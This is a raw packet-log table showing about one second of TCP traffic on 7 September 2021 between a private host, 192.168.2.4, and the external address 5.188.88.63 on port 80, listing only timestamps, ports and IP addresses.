Sep 7, 2021 16:02:56.839827061 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.839834929 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.839845896 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.839879036 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.840066910 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.840084076 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.840127945 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.840147018 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.840163946 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.840178013 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.840178967 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.840221882 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.840486050 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.840502024 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.840531111 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.840538979 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.840549946 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.840565920 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.840578079 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.840584040 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.840603113 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.840605974 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.840619087 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.840631008 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.840642929 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.840656042 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.840667009 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.840678930 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.840698957 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.840702057 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.840738058 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.841866016 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.849044085 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.849061966 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.849116087 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.867146969 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.867338896 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.867436886 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.872009039 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.880533934 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.880559921 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.880608082 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.890260935 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.890337944 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.890377045 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.895138025 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.895153046 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.895174026 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.895191908 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.895211935 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.895229101 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.895231962 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.895245075 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.895287991 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.895334005 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.898855925 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.898931026 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.899015903 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.901093006 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.901169062 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.901253939 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.901990891 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.902085066 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.902146101 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.902590036 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.902697086 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.902713060 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.902729034 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.902746916 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.902760029 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.902772903 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.902781010 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.902802944 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.902805090 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.902822971 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.902833939 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.902843952 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.902859926 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.902873039 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.902879953 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.902899027 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.902899981 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.902914047 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.902930975 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.902940035 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.902949095 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.902967930 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.902975082 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.902996063 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.903414965 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.903438091 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.903492928 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.903496027 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.903518915 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.903538942 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.903541088 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.903559923 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.903580904 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.903584957 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.903604984 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.903620005 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.903636932 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.903645039 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.903666019 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.904274940 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.904303074 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.904328108 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.904329062 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.904351950 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.904376030 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.904376984 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.904395103 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.904414892 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.904434919 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.904452085 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.904488087 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.904799938 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.904849052 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.904856920 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.904875040 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.904900074 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.904922009 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.904923916 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.904944897 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.904967070 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.904990911 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.905004025 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.905010939 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.905025959 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.905042887 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.905056000 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.905062914 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.905083895 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.905082941 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.905101061 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.905144930 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.905267954 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.905292034 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.905317068 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.905368090 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.905375004 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.905392885 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.905400038 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.905430079 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.905447960 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.905570984 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.905595064 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.905615091 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.905633926 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.905642986 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.905651093 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.905667067 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.905687094 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.905729055 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.914057016 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.914078951 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.914139032 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.922568083 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.932586908 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.932625055 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.932676077 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.936629057 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.936813116 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.945543051 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.955279112 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.955313921 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.955347061 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.961244106 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.961440086 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.961570978 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.961710930 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.961785078 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.961869955 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.962114096 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.962178946 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.962210894 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.962320089 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.962343931 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.962363005 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.964682102 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.964715004 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.964777946 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.972105026 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.972140074 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.973133087 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.974287033 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.974366903 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.974435091 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.974495888 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.974523067 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.974543095 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.974761963 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.974788904 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.974816084 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.974836111 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.974838018 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.974862099 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.974884987 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.974908113 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.974924088 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.974946976 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.974968910 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.974992037 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.975006104 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.975013018 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.975028992 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.976382017 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.976413965 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.976438046 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.976460934 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.976478100 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.976530075 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.976708889 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.976732016 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.976752996 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.976752996 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.976778984 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.976795912 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.976809025 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.976912975 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.976938963 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.976962090 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.976968050 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.976993084 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.976999998 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.977015018 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.977035999 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.977072954 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.977096081 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.977112055 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.977118969 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.977144957 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.977168083 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.977183104 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.977190018 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.977211952 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.977211952 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.977235079 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.977253914 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.977257013 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.977279902 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.977302074 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.977315903 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.977328062 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.977350950 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.977351904 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.977372885 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.977394104 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.977396011 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.977420092 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.977442026 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.977463961 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.977485895 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.977494001 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.977510929 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.977535963 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.977559090 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.977574110 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.977582932 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.977607012 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.977607012 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.977628946 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.977648973 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.977650881 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.977674007 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.977699995 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.977713108 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.977725029 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.977746964 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.977747917 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.977768898 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.977785110 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.977828979 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.977850914 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.977864981 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.977950096 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.978053093 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.978077888 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.978094101 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.978101969 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.978126049 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.982479095 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.982532978 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.987446070 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.990736008 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.998842001 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.998938084 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.003300905 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.003339052 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.003385067 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.021590948 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.026976109 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.027050972 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.027164936 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.027164936 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.027189016 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.027209997 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.027220964 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.027232885 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.027260065 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.027297020 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.027313948 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.027535915 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.029062033 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.029830933 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.029948950 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.030416012 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.038652897 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.038691998 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.038804054 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.038921118 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.039016962 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.039048910 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.039587021 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.039616108 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.039639950 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.039686918 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.039709091 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.039710999 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.039720058 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.039731979 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.039782047 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.039961100 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.040023088 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.040066004 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.040093899 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.040110111 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.040153980 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.040163994 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.040169954 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.040220976 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.040263891 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.040370941 CEST	49763	80	192.168.2.4	5.188.88.63
